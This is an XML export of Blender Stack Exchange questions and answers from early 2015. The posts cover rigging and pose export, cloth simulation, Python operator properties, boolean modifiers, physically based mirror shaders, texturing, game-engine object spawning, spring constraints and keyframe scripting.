  <row Id="23909" PostTypeId="1" CreationDate="2015-01-28T10:32:13.590" Score="1" ViewCount="361" Body="&lt;p&gt;I have exported a model from DAZ, and I am fighting with the export options. &#xA;I would like to bring in the bones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I import my fbx file, it looks like this in Blender:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/D8QbP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I click the &quot;Pose&quot; icon, the model looks as I expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W8iwx.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I then export the model from within Blender (with &quot;Pose&quot; activated), the model is still as weird as shown in the first image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to understand what is happening here. &#xA;I guess it is about baking the pose, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If yes, do I have to bake the pose in DAZ or in Blender?&lt;/p&gt;&#xA;" OwnerUserId="11252" LastActivityDate="2015-01-28T10:32:13.590" Title="Baking pose in Blender" Tags="&lt;export&gt;&lt;rigging&gt;&lt;bones&gt;&lt;import&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23910" PostTypeId="2" ParentId="23908" CreationDate="2015-01-28T10:36:25.137" Score="1" Body="&lt;p&gt;Tried dynamically switching pinned vert groups - that resets simulation.&#xA;Tried dynamically changing vertex weights inside group - that resets simulation too.&#xA;And the bake wouldn't work at all, that was clear from beginning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The workflow I suggest is to&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;simulate part of your cloth animation with one set of pinned verts and then save the animation as .mdd mesh cache.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then apply the cloth modifier, add another and simulate with different set of pinned verts. Export to .mdd&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;After you have all the parts, load them to Mesh Cache modifiers and blend them with influence. With good blending you can mask some of the discontinuities that happened while switching simulations.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Since any motion between simulations will be canceled you would need to adjust with force fields and plan the transitions carefully. But that's probably the best you can do.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-02-10T22:31:13.340" LastActivityDate="2015-02-10T22:31:13.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23911" PostTypeId="1" AcceptedAnswerId="23914" CreationDate="2015-01-28T11:01:54.260" Score="3" ViewCount="279" Body="&lt;p&gt;I already learned that you can't and don't need to overload in Python, but I didn't know how to call it otherwise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(all pseudo code)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a button:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;myBox = layout.box()&#xA;myBox.operator(my_Button.bl_idname, text = &quot;Move it&quot;) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And want to add a non-obligatory parameter to the execute method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class my_Button(bpy.types.Operator):&#xA;   bl_idname = &quot;object.my_button&quot;&#xA;   def execute(self, context, calledByButton=True):   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I can call the method by using the button, or somewhere in the script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.my_button(False)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I get an error on registering it (strangly for the next class)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ValueError: expected Operator, my_NextButton class &quot;execute&quot; function to&#xA;  have 2 args , found 3&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How would I do that correctly?&lt;/p&gt;&#xA;" OwnerUserId="8235" LastActivityDate="2015-01-28T15:21:14.857" Title="&quot;Overload&quot; class execute method" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23912" PostTypeId="1" CreationDate="2015-01-28T11:13:49.947" Score="3" ViewCount="714" Body="&lt;p&gt;I'm new to blender. I've made a shape consisting of 4 cuboid meshes which have been joined via face-to-face snapping. I then use them to carve (using the boolean difference modifier) from a larger cuboid. I've tried this with and without joining the 4 cuboid meshes first. However, my resultant carved cuboid sometimes has very thin interfaces between carved segments, as if the pieces weren't fully opposed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to I get rid of these faces, or ensure they don't appear after carving? I know I could just overlap the original cuboids but the problem is they're both larger than each other in separate dimensions, so it'd look messy.&lt;img src=&quot;https://i.stack.imgur.com/WPYca.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the very thin shaded interface in the carved object (the selected object).&lt;/p&gt;&#xA;" OwnerUserId="11274" LastActivityDate="2015-02-27T15:33:16.153" Title="Difference boolean modifier leaving interfaces behind" Tags="&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23913" PostTypeId="1" AcceptedAnswerId="23917" CreationDate="2015-01-28T11:36:28.220" Score="42" ViewCount="66662" Body="&lt;p&gt;I would like to know how to create a physically correct mirror material in cycles. How can that be achieved as realistic as possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://en.wikipedia.org/wiki/Mirror&quot;&gt;Wikipedia&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Mirrors are manufactured by applying a reflective coating to a&#xA;  suitable substrate ...&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;In modern times, the mirror substrate is shaped, polished and cleaned, and is then coated. Glass mirrors are most often coated with silver[20] or aluminium ...&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;In some applications, generally those that are cost-sensitive or that&#xA;  require great durability, mirrors are made from a single, bulk&#xA;  material such as polished metal ... &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2015-01-28T14:15:48.137" LastActivityDate="2018-11-20T15:40:01.710" Title="How to create a mirror shader?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="31" ContentLicense="CC BY-SA 3.0" />
  <row Id="23914" PostTypeId="2" ParentId="23911" CreationDate="2015-01-28T11:50:23.470" Score="4" Body="&lt;p&gt;You do this correctly like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class MyButton(bpy.types.Operator):&#xA;    bl_idname = &quot;object.my_button&quot;&#xA;    bl_label = &quot;My Button&quot;&#xA;    flag = bpy.props.BoolProperty(default=True)&#xA;&#xA;    def execute(self, context):&#xA;        if self.flag:&#xA;            print('Called by button')&#xA;        else:&#xA;            print('Not called by button')&#xA;&#xA; bpy.utils.register_class(MyButton)&#xA;&#xA; #usage:&#xA; myBox.operator(&quot;object.my_button&quot;).flag = True&#xA; bpy.ops.object.my_button(flag=False)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-01-28T15:21:14.857" LastActivityDate="2015-01-28T15:21:14.857" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23915" PostTypeId="1" CreationDate="2015-01-28T12:15:38.770" Score="1" ViewCount="4115" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9AdnR.png&quot; alt=&quot;1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am here in blender trying to Paint this selected side with the texture i made. I am completely new to this. Can someone explain to me how to do this ? I want to color to be saved with the .fbx, not separately or anything complicated. Just paint this side with this texture. Please guide me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have selected texture003 on the left panel. What else i am supposed to do ? I am lost here.&lt;/p&gt;&#xA;" OwnerUserId="11275" LastEditorUserId="11275" LastEditDate="2015-01-28T12:21:01.743" LastActivityDate="2015-01-28T12:45:45.540" Title="Blender use texture on cube side" Tags="&lt;texturing&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23916" PostTypeId="2" ParentId="23915" CreationDate="2015-01-28T12:45:45.540" Score="3" Body="&lt;p&gt;&lt;em&gt;I am no specialist for exporting other formats (like .fbx), but in general it's like this:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add a texture only to the side you will need a second material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click the &lt;strong&gt;material tab&lt;/strong&gt; and click &lt;code&gt;+&lt;/code&gt; to add a new material.&#xA;Then click &lt;code&gt;+ New&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Get into &lt;strong&gt;Edit-Mode&lt;/strong&gt; and &lt;strong&gt;select the face&lt;/strong&gt; you want to apply the material to.&#xA;With it selected click &lt;code&gt;Assign&lt;/code&gt; under the materials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will assign the new Material only to that specific face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep the new material selected in the material tab.&#xA;Then click the texture tab and add your texture to it by clicking &lt;code&gt;+ New&lt;/code&gt;, selecting &lt;code&gt;Image or Movie&lt;/code&gt;(should be default) and sroll down to &lt;code&gt;Image&lt;/code&gt; and &lt;code&gt;Open&lt;/code&gt; your Image Texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Positioning of the texture can be performed by the options below the &lt;code&gt;Image&lt;/code&gt; part.&lt;/p&gt;&#xA;" OwnerUserId="6192" LastActivityDate="2015-01-28T12:45:45.540" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="23917" PostTypeId="2" ParentId="23913" CreationDate="2015-01-28T12:53:56.987" Score="64" Body="&lt;h2&gt;&lt;strong&gt;1.&lt;/strong&gt; Mirror shader as material with mirror reflection (roughness = 0):&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To setup a physically correct material we need to base it on real measured values and setup the nodes so it follows the equations how materials behave (PBR setups). The best source for measured values is &lt;a href=&quot;https://refractiveindex.info&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;refractiveindex.info&lt;/strong&gt;&lt;/a&gt; - we get 2 IOR values: N and K.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IOR is a complex number, most people are familiar with the real part (&lt;em&gt;N&lt;/em&gt;), but it has also a complex part (&lt;em&gt;K&lt;/em&gt;). For non-conductive materials (dielectrics) the complex part is 0 (or very close to it), so this involves metals mostly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IOR is also dependent on the wavelength of light, so red, green and blue will reflect differently off of the material. This gives metals their characteristic colors and tinting. To use N and K values in a shader, we'll need the &lt;em&gt;Conductive Fresnel&lt;/em&gt; node group, here is a &lt;a href=&quot;https://blender.stackexchange.com/a/76033/7777&quot;&gt;GPU  friendly implementation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in refractiveindex.info we input 650nm for red, 550nm for green and 450nm for blue and for example we get physically correct gold mirror shader:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/u4xjT.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/u4xjT.png&quot; alt=&quot;Gold shader&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is worth noting that color management also plays significant role how your materials will look. If we enable Filmic and Very High Contrast look &lt;a href=&quot;https://i.stack.imgur.com/YJku2.jpg&quot; rel=&quot;noreferrer&quot;&gt;we get this&lt;/a&gt;, the correct way would be to also setup the lighting for the Filmic color-management (increase light intensities, keep &lt;em&gt;Base Contrast&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dielectric materials have a diffuse component (unlike metals) and the important part to keep them physically correct is to mix in the reflection through &lt;em&gt;Fresnel&lt;/em&gt;. We can also get measured values for IOR, for ceramics it's around 1.8, so here is how a generic setup of mirror reflection on a bathroom tile would look like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/trJWk.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/trJWk.png&quot; alt=&quot;Ceramic shader&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More about this is here: &lt;a href=&quot;https://blender.stackexchange.com/a/62573/7777&quot;&gt;How do I create a reflective white material?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For other materials like wood floor etc. there is just different IOR, the setup is same, unless there is some roughness to the reflection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For &lt;em&gt;mirror sunglasses&lt;/em&gt; shader the effect is made with thin film coating. Measured values for sunglasses are hard to come by, so the artistic approach of mixing shaders through multiple &lt;em&gt;Layer Weight&lt;/em&gt; nodes is all there is to it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iVYUM.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iVYUM.png&quot; alt=&quot;mirror sunglasses shader&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is however an &lt;a href=&quot;https://blenderartists.org/t/gpu-compatible-thin-film-interference-v2-1-glass-within-glass-absorption&quot; rel=&quot;noreferrer&quot;&gt;OSL shader available&lt;/a&gt; (now also with GPU support) to do the thin-film interference on materials. Use the &lt;em&gt;Thin Film Interference&lt;/em&gt; node, don't link the materials, as some of them are not PBR compliant.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;2.&lt;/strong&gt; Mirror shader as a &quot;shader&quot; of mirror object:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Mirror is made from 2 materials: &lt;em&gt;Glass&lt;/em&gt; and &lt;em&gt;Silver coated aluminium&lt;/em&gt; behind it, so to make physically correct mirror, you will need to model it as such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's worth noting that &lt;em&gt;Refractive Caustics&lt;/em&gt; option should be turned on to not produce shadow onto the silver plate behind the glass:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rbLqN.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rbLqN.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the silver you sample values from refractiveindex.info and you get:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JSNiM.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JSNiM.jpg&quot; alt=&quot;Silver shader&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the mirror is bigger and it's in animation, I suggest putting some slight bump or displacement on it, as nothing is perfectly flat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For ordinary mirrors made from flute glass and that are not the object of focus this is fine, but fancier mirrors use heavier glass and sides cut in angles so the diffraction of light is clearly visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First thing to mention is that Cycles should not be the weapon of choice to render physically correct glass. Bi-directional renderers do much better job at rendering glass with the perfect tool being spectral renderers that can do diffraction and thin-film correctly. With Cycles be ready to set 50k samples and render whole night even on good HW.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/File:Mplwp_dispersion_curves.svg&quot; rel=&quot;noreferrer&quot;&gt;Here&lt;/a&gt; are some popular glass types and their respective IOR curves. The exact values are again at refractiveindex.info, for the LASF9 it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AQH2u.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AQH2u.png&quot; alt=&quot;dispersion glass LASF9&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can notice the glass came to life with color, there is blue tint on edges and warm tint in middle, with diffraction streaks present.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For even more realism we could add a volume absorption shader as that is also not present in Principled or Glass nodes, but on thin glass plane this is only visible on the edges, so I'd say it depends on what type of frame the mirror is in.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This is all correct for roughness = 0, because otherwise we need to account for it. You can find a &lt;a href=&quot;https://blender.stackexchange.com/a/63779/7777&quot;&gt;Fresnel node that takes roughness into account here&lt;/a&gt; and use it in place of the standart Fresnel in the right setup, the &lt;em&gt;Glass&lt;/em&gt; node in Cycles is equivalent to it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MkCrI.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MkCrI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use the complex IOR node if you need glass that happens to have some small K value.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;The test scene is by &lt;a href=&quot;http://blenderdiplom.com/en/downloads/584-download-cycles-material-test-scene.html&quot; rel=&quot;noreferrer&quot;&gt;Robin Marin&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2018-11-20T15:40:01.710" LastActivityDate="2018-11-20T15:40:01.710" CommentCount="14" ContentLicense="CC BY-SA 4.0" />
  <row Id="23918" PostTypeId="2" ParentId="23913" CreationDate="2015-01-28T12:54:32.430" Score="20" Body="&lt;p&gt;A simple solution is to use a glossy shader with &lt;strong&gt;roughness value of 0.001&lt;/strong&gt; or a glossy shader and change its default glossy type &lt;code&gt;GGX&lt;/code&gt; to &lt;code&gt;Sharp&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nmuX2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IxGEW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6192" LastEditorUserId="3710" LastEditDate="2015-01-29T14:22:51.903" LastActivityDate="2015-01-29T14:22:51.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23919" PostTypeId="1" CreationDate="2015-01-28T13:31:05.490" Score="3" ViewCount="255" Body="&lt;p&gt;This is the reference I would like to recreate:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7P3aF.png&quot; alt=&quot;Reference image with the metal&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would be great if someone had an idea how to do it.&lt;/p&gt;&#xA;" OwnerUserId="11277" LastActivityDate="2015-02-22T18:51:42.333" Title="Need help to recreate a metal material with multiple colors" Tags="&lt;cycles-render-engine&gt;" AnswerCount="2" CommentCount="7" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23922" PostTypeId="1" AcceptedAnswerId="23951" CreationDate="2015-01-28T14:30:22.767" Score="0" ViewCount="1841" Body="&lt;p&gt;has anybody an idea why this script doesn't work? The object &quot;Sphere&quot; is on a separate layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;addOne&quot; is a property who generates random integers from 1–10.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import random&#xA;from bge import logic&#xA;import bpy&#xA;&#xA;&#xA;cont = logic.getCurrentController()&#xA;own = cont.owner&#xA;scene = logic.getCurrentScene()&#xA;&#xA;&#xA;if own[&quot;addOne&quot;] == 1:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;unitll here the script does work&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    scene.addObject(&quot;Sphere&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or on the other hand, if I run a script that says for example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.mesh.primitive_cylinder_add(radius=1, depth=2, view_align=False, enter_editmode=False, location=(-24.4838, 0.107069, 1.23061e-07), layers=(True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the cylinder doesn't apper in the game itself but only in my 3d view (where you actualy work). Can anybody help me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you in advance,&#xA;Sputi&lt;/p&gt;&#xA;" OwnerUserId="9529" LastActivityDate="2018-04-06T21:47:13.203" Title="blender game: spawn object" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23923" PostTypeId="1" AcceptedAnswerId="24479" CreationDate="2015-01-28T14:59:39.233" Score="2" ViewCount="245" Body="&lt;p&gt;i made an object and then applied the array modifier, then i attached it to a curve with the curve modifier, and it looks good but if i move the curve ( i need to animate it ) the spheres moves weird, apart from the curve...is there any way to fix this? :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in regard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/y0dSW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2015-02-09T12:54:45.057" Title="How can i attach array objects to a curve while animating?" Tags="&lt;animation&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="23924" PostTypeId="2" ParentId="23912" CreationDate="2015-01-28T15:19:51.900" Score="2" Body="&lt;p&gt;There are probably precision problems where the compound cuboid components are not truly flush in a numerical sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could try unioning the original cuboids into a single object rather than just joining them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, it looks like you could create the compound object via simple extrusions rather than as multiple cuboids.  This would give you a more consistent form that you could use for boolean operations.&lt;/p&gt;&#xA;" OwnerUserId="9651" LastActivityDate="2015-01-28T15:19:51.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23925" PostTypeId="1" CreationDate="2015-01-28T15:23:42.383" Score="7" ViewCount="1428" Body="&lt;p&gt;I have a generic spring constraint between two objects. I am able to set the stiffness and damping of the spring, but I would also need to set what length the spring &lt;em&gt;initial&lt;/em&gt; was. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender now wrongly assumes that the current position is the original length, but in my world the spring should now be stretched some.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oQtIr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example. Two boxes connected with a spring constraint that only allows movement in the Z direction. When playing this animation, the lower cube will fall down. What I want, however, is that Blender consider the spring now already stretched, so it will have some more force acting upwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve this?&lt;/p&gt;&#xA;" OwnerUserId="11279" LastActivityDate="2015-11-29T18:18:48.747" Title="Set resting length for a generic spring constraint" Tags="&lt;physics&gt;&lt;constraints&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23926" PostTypeId="1" CreationDate="2015-01-28T16:08:47.890" Score="8" ViewCount="847" Body="&lt;p&gt;How to show open dialog box that can navigate to blender datablocks.&#xA;I can show open dialog that can select .blend files, but how to select specific datablock just as 'File-&gt;Link' or 'File-&gt;Append' does?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is the code I am using ( copied from template ):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def read_some_data( context, filepath ):&#xA;  print(&quot;running read_some_data...&quot;)&#xA;  print( filepath )&#xA;  return {'FINISHED'}&#xA;&#xA;class ImportSomeData( Operator, ImportHelper ):&#xA;    bl_idname = &quot;import_test.some_data&quot;&#xA;    bpy.ops.import_test.some_data is constructed&#xA;    bl_label = &quot;Import Some Data&quot;&#xA;&#xA;    filename_ext = &quot;.blend&quot;&#xA;&#xA;    filter_glob = StringProperty(&#xA;        default=&quot;*.blend&quot;,&#xA;        options={ 'HIDDEN' },&#xA;        )&#xA;&#xA;def execute(self, context):&#xA;    return read_some_data(context, self.filepath)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="162" LastActivityDate="2017-08-15T02:54:53.067" Title="How to show open dialog box that can navigate to blender datablocks" Tags="&lt;python&gt;&lt;linked-data&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23927" PostTypeId="1" AcceptedAnswerId="23928" CreationDate="2015-01-28T16:09:56.473" Score="10" ViewCount="2163" Body="&lt;p&gt;Is there a way to move a keyframe using Python (change the frame at which the keyframe is set)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The keyframe already exists. I need to access it and move it, with the script.&lt;/p&gt;&#xA;" OwnerUserId="3247" LastEditorUserId="1363" LastEditDate="2015-01-28T17:37:47.347" LastActivityDate="2019-04-16T07:26:48.700" Title="How to move keyframes using Python?" Tags="&lt;python&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23928" PostTypeId="2" ParentId="23927" CreationDate="2015-01-28T16:23:35.353" Score="14" Body="&lt;p&gt;This is not hard:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.actions[aname].fcurves[i].keyframe_points[j].co[0] = fr1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The tricky part is picking the right &lt;code&gt;fcurve[i]&lt;/code&gt; and &lt;code&gt;keyframe_points[j]&lt;/code&gt; if there are more than one.  You'll have to check &lt;code&gt;fcurve[i].data_path&lt;/code&gt; and (if it's a vector data_path like location or rotation*) &lt;code&gt;fcurve[i].array_index&lt;/code&gt; to make sure you're altering the right fcurve.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-01-28T16:23:35.353" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23929" PostTypeId="2" ParentId="23925" CreationDate="2015-01-28T16:27:31.130" Score="2" Body="&lt;p&gt;The spring constraint is anchored by the Empty that it lives on.  You may be forced to start the objects in the pre-gravity position, and then animate them to move from that position to the stretched rest position in frame 2.  Then you can deactivate the Animated checkbox with another keyframe and let the simulation take over.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[editing to address questions in the comments:]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Animated checkbox can be found in the Rigid Body subsection of the Physics section of the Properties view for the object.  The Animated checkbox can have keyframes (so you can give it a keyframe at frame=1 to start it out checked, and then give it another keyframe to uncheck it whenever you need it to switch over to physics simulation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the multi-spring scenario, you may have an incontrovertible point.  I consider it possible to construct a set of spring linkages which could have no zero-tension rest position, and can only be expressed using a baseline tension parameter which blender appears to lack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although now that I think about it more, I am imagining a scenario where the spring tensions are set for empties that start out unattached, but then are bound to the target object later in the animation (using the Enabled checkbox in the rigid body constraint in the physics section).  &lt;a href=&quot;https://www.youtube.com/watch?v=r6JNh-i-uVI&quot; rel=&quot;nofollow&quot;&gt;My physics demo catalog&lt;/a&gt; contains several examples where constraints are temporarily disabled.  This would still require considerable ingenuity and a non-trivial amount of math to arrange.&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="660" LastEditDate="2015-01-28T17:54:06.967" LastActivityDate="2015-01-28T17:54:06.967" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
